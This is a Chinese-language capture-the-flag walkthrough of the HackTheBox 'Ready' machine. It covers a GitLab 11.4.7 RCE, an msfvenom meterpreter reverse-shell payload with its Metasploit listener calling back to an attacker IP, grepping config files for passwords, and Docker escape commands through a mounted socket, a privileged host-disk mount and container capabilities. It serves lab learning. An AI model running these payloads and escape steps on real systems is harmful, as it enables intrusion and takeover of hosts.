入口
Nmap
http://10.10.10.220:5080/users/sign_in #GitLab Community Edition 11.4.7 (RCE)
如何获取Gitlab版本呢?——根据https://stackoverflow.com/questions/21068773/how-to-check-the-version-of-gitlab,可知

注册用户、上去看到版本

搜索之,有exp
https://github.com/ctrlsam/GitLab-11.4.7-RCE/blob/master/exploit.py
顺利拿到git用户shell

提权

version: '2.4'
services:
web:
image: 'gitlab/gitlab-ce:11.4.7-ce.0'
restart: always
hostname: 'gitlab.example.com'
environment:
GITLAB_OMNIBUS_CONFIG: |
external_url 'http://172.19.0.2'
redis['bind']='127.0.0.1'
redis['port']=6379
gitlab_rails['initial_root_password']=File.read('/root_pass')
networks:
gitlab:
ipv4_address: 172.19.0.2
ports:
- '5080:80'
#- '127.0.0.1:5080:80'
#- '127.0.0.1:50443:443'
#- '127.0.0.1:5022:22'
volumes:
- './srv/gitlab/config:/etc/gitlab'
- './srv/gitlab/logs:/var/log/gitlab'
- './srv/gitlab/data:/var/opt/gitlab'
- './root_pass:/root_pass'
privileged: true
restart: unless-stopped
#mem_limit: 1024m
networks:
gitlab:
driver: bridge
ipam:
config:
- subnet: 172.19.0.0/16
跟进

λ msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=10.10.16.34 lport=443 -f elf -o r_443.elf
D:/metasploit-framework/embedded/lib/ruby/gems/2.6.0/gems/rex-core-0.1.13/lib/rex/compat.rb:376: warning: Win32API is deprecated after Ruby 1.9.1; use fiddle directly instead
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
Saved as: r_443.elf
监听
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.16.34
lhost => 10.10.16.34
msf6 exploit(multi/handler) > set lport 443
lport => 443
msf6 exploit(multi/handler) > run
YG65407Bjqvv9A0a8Tm_7w
暂无思路,,,
在/opt目录下,全局grep -r -i pass,找到以下内容
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
通过查看/proc/1/cgroup,确认当前环境是在docker中,那么考虑docker逃逸的方案(参考https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout):
cgroups代表“控制组”。这是一项Linux功能,原本是用于隔离资源的使用,在Docker中也起到隔离容器的功能。您可以通过检查init进程的控制组来判断您是否在容器中/proc/1/cgroup。(1)如果您不在容器内,则控制组应为
/,下图中的右边(2)另一方面,如果您在容器内,则应该看到
/docker/CONTAINER_ID,下图中的左边

See:https://funphishing.github.io/2021/01/17/HackTheBox-Ready/
提权成功!

反思
快速扫描
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.220 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV -oA ready 10.10.10.220
但是我觉得实战中,直接跑括号里的内容还实际点
nmap -p- --min-rate=1000 -T4 10.10.10.220 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//
更友好的shell
通用升级shell
script -c "/bin/bash -i" /dev/null
or
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

docker逃逸思路小结
(1)Mounted docker socket
将docker的socket挂载到了容器中,将导致容器可以任意与机器互动
See:https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout#mounted-docker-socket
# List images to use one
docker images
# Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
# 对于其它位置,使用
-H unix:///path/to/docker.sock
运行docker ps即可知
(2)–privileged flag
应该是最经典的docker逃逸,首先需要docker以privileged模式运行当docker run时加上
<font style="color:rgb(85, 85, 85);background-color:rgb(238, 238, 238);">--privileged</font>这个参数,会使得该容器拥有宿主机root权限,设计时最大的用途应该是允许在该容器内再开容器,该类型的docker由于其权限可以看到宿主机上的磁盘等设备,且允许重新挂载目录通过fdisk -l命令查看磁盘文件,非<u><font style="color:rgb(85, 85, 85);">privileged</font></u>的docker将无法看到磁盘。
因此privileged容器最常用的逃逸方式就是将宿主机的根目录挂载进容器内部,对宿主机进行任意文件读写,通过修改<font style="color:rgb(85, 85, 85);">crontab</font>,root的<font style="color:rgb(85, 85, 85);">authorized_keys</font>等文件完成逃逸
# 通过挂载目录命令查看磁盘文件,非privileged的docker将无法看到磁盘
fdisk -l
如果运行fdisk -l命令后有输出,则为privileged容器,否则为非privileged的docker
利用的话,也就很简单了
fdisk -l
mkdir -p /mnt/hola
mount /dev/sda1 /mnt/hola
cd /mnt/hola
更改文件即可。。。

(3)Container Capabilities 容器权限过大
You can check currently container capabilities with:
capsh --print
if it has any of the following ones, you might be able to scape from it:
CAP_SYS_ADMIN,CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE
CAP_SYS_ADMIN
CAP_SYS_PTRACE
CAP_SYS_MODULE
DAC_READ_SEARCH
DAC_OVERRIDE
用grep汇总成一条命令:
capsh --print|grep -iE "CAP_SYS_ADMIN|CAP_SYS_PTRACE|CAP_SYS_MODULE|DAC_READ_SEARCH|DAC_OVERRIDE"
如果没有输出,证明不是特权滥用的容器。
利用
首先,分析一条命令
sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
将会打印出docker在宿主机上的物理位置,如
root@e5871b579f57:/tmp# sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
/var/lib/docker/overlay2/cfd00f89faf865bca3f8a2090d285c93a07c50ee2076cee71be98e08022cfcf8/diff